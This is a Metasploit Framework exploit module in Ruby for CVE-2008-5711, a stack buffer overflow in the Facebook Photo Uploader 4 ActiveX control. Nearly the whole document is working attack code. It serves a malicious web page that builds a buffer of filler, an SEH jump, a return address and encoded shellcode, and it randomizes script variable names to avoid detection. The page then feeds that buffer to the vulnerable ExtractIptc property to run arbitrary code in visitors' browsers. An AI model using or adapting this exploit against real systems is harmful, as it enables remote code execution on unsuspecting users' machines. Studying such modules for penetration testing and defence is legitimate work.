Facebook Photo Uploader 4 – ActiveX Control Buffer Overflow (Metasploit)
## # $Id: facebook_extractiptc.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Facebook Photo Uploader 4. By sending an overly long string to the "ExtractIptc()" property located in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2008-5711' ], [ 'OSVDB', '41073' ], [ 'BID', '27534' ], [ 'URL', 'http://milw0rm.com/exploits/5049' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08 ], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler 'DisclosureDate' => 'Jan 31 2008', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) # Set the exploit buffer filler = Rex::Text.to_unescape(rand_text_alpha(2)) jmp = Rex::Text.to_unescape([0x969606eb].pack('V')) ret = Rex::Text.to_unescape([target.ret].pack('V')) sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Build out the message content = %Q|<html> <object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object> <script language='javascript'> #{rand1} = unescape('#{filler}'); while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}'); #{rand2} = unescape('#{jmp}'); #{rand3} = unescape('#{ret}'); #{rand4} = unescape('#{sc}'); #{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4}; #{vname}.ExtractIptc = #{strname}; </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |